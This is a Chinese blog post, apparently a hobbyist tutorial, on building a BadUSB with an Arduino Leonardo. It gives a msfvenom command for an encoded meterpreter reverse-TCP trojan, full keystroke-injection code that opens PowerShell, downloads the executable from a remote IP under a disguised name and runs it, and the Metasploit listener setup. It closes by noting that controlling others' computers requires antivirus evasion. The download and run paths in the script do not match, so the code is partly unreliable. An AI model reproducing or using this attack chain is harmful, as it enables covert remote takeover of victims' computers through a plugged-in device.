最近对BadUSB比较感兴趣,所以就买了两块开发板玩玩。
一个是Digispark,一个是Leonardo,某宝上都有卖,十块二十块左右,容易上手,作为初学工具还是比较合适的。它们分别长这个样子:
Digispark开发板
Leonardo开发板
有关BadUSB的详细发展就不再赘述,网上有很多这方面的介绍。直接开始这次的实验。
实验前需要准备几样东西:Leonardo开发板、木马文件(本次选择未免杀的木马,仅供测试)、烧录软件Arduino(1.8版本)
首先生成木马文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ lhost=yourip lport=yourport -f exe > /root/badusb.exe
插入开发板,打开Arduino软件,配置工具>开发板为Leonardo,端口设置为Leonardo的端口(一般将开发板插入电脑端口设置会自动显示),之后开始写入我们模拟的操作。
常用到的操作符有:
KEY_LEFT_CTRLKEY_LEFT_SHIFTKEY_LEFT_ALTKEY_LEFT_GUIKEY_RIGHT_CTRLKEY_RIGHT_SHIFTKEY_RIGHT_ALTKEY_RIGHT_GUIKEY_UP_ARROWKEY_DOWN_ARROWKEY_LEFT_ARROWKEY_RIGHT_ARROWKEY_BACKSPACEKEY_TABKEY_RETURNKEY_ESCKEY_INSERTKEY_DELETEKEY_PAGE_UPKEY_PAGE_DOWNKEY_HOMEKEY_ENDKEY_CAPS_LOCKKEY_F1KEY_F2KEY_F3KEY_F4KEY_F5KEY_F6KEY_F7KEY_F8KEY_F9KEY_F10KEY_F11KEY_F12
写进的代码目的就是模拟用户在电脑上用键盘进行的操作。
本次用到的代码如下:
#include void setup(){Keyboard.begin();//开始键盘通讯delay(1000);//延时,为了两个操作之间有缓冲的时间Keyboard.press(KEY_LEFT_GUI);//win键delay(200);Keyboard.press('r');//r键delay(300);Keyboard.release(KEY_LEFT_GUI);//释放win 键Keyboard.release('r');//释放R键Keyboard.println("cmd"); //这里为了更好的观察效果,没有对窗口进行最小化操作delay(200);Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("powershell ");//打开powershellKeyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("$clnt=new-object System.Net.WebClient;");Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("$url='http://xxx.xxx.xxx.xxx/badusb.exe';");Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("$file='C:\\Users\\re\\Desktop\\QQ.exe';");//注意这里路径必须是两个反斜杠Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("$clnt.DownloadFile($url,$file);");Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("START C:\\Users\\rey\\Desktop\\badusb.exe");//运行badusb.exe文件,同上,两个反斜杠Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("exit");//退出Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.println("exit");Keyboard.press(KEY_RETURN);//按下回车键delay(200);Keyboard.release(KEY_RETURN);//按下回车键delay(500);Keyboard.end();//结束键盘通讯}void loop() {}
写好之后在软件内进行编译,编译成功后上传到Leonardo开发板上。
如果前面都没问题的话,大概三四秒钟就会上传成功。暂时先拔出开发板。
用msf设置监听:
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost youripset lport yourportrun
此时插上开发板,测试时候发现几乎是插上的瞬间程序就启动了,待窗口关闭掉之后,回到msf,就已经看到了meterpreter(前提关掉杀软,因没做免杀)。
总的来说BadUSB用到的代码非常简单,而且非常有趣,可以写一些好玩的程序上传上去,比如自动打开某个网址,自动关机等等。
当然,如果想要控制别人电脑,还需要做到免杀的效果。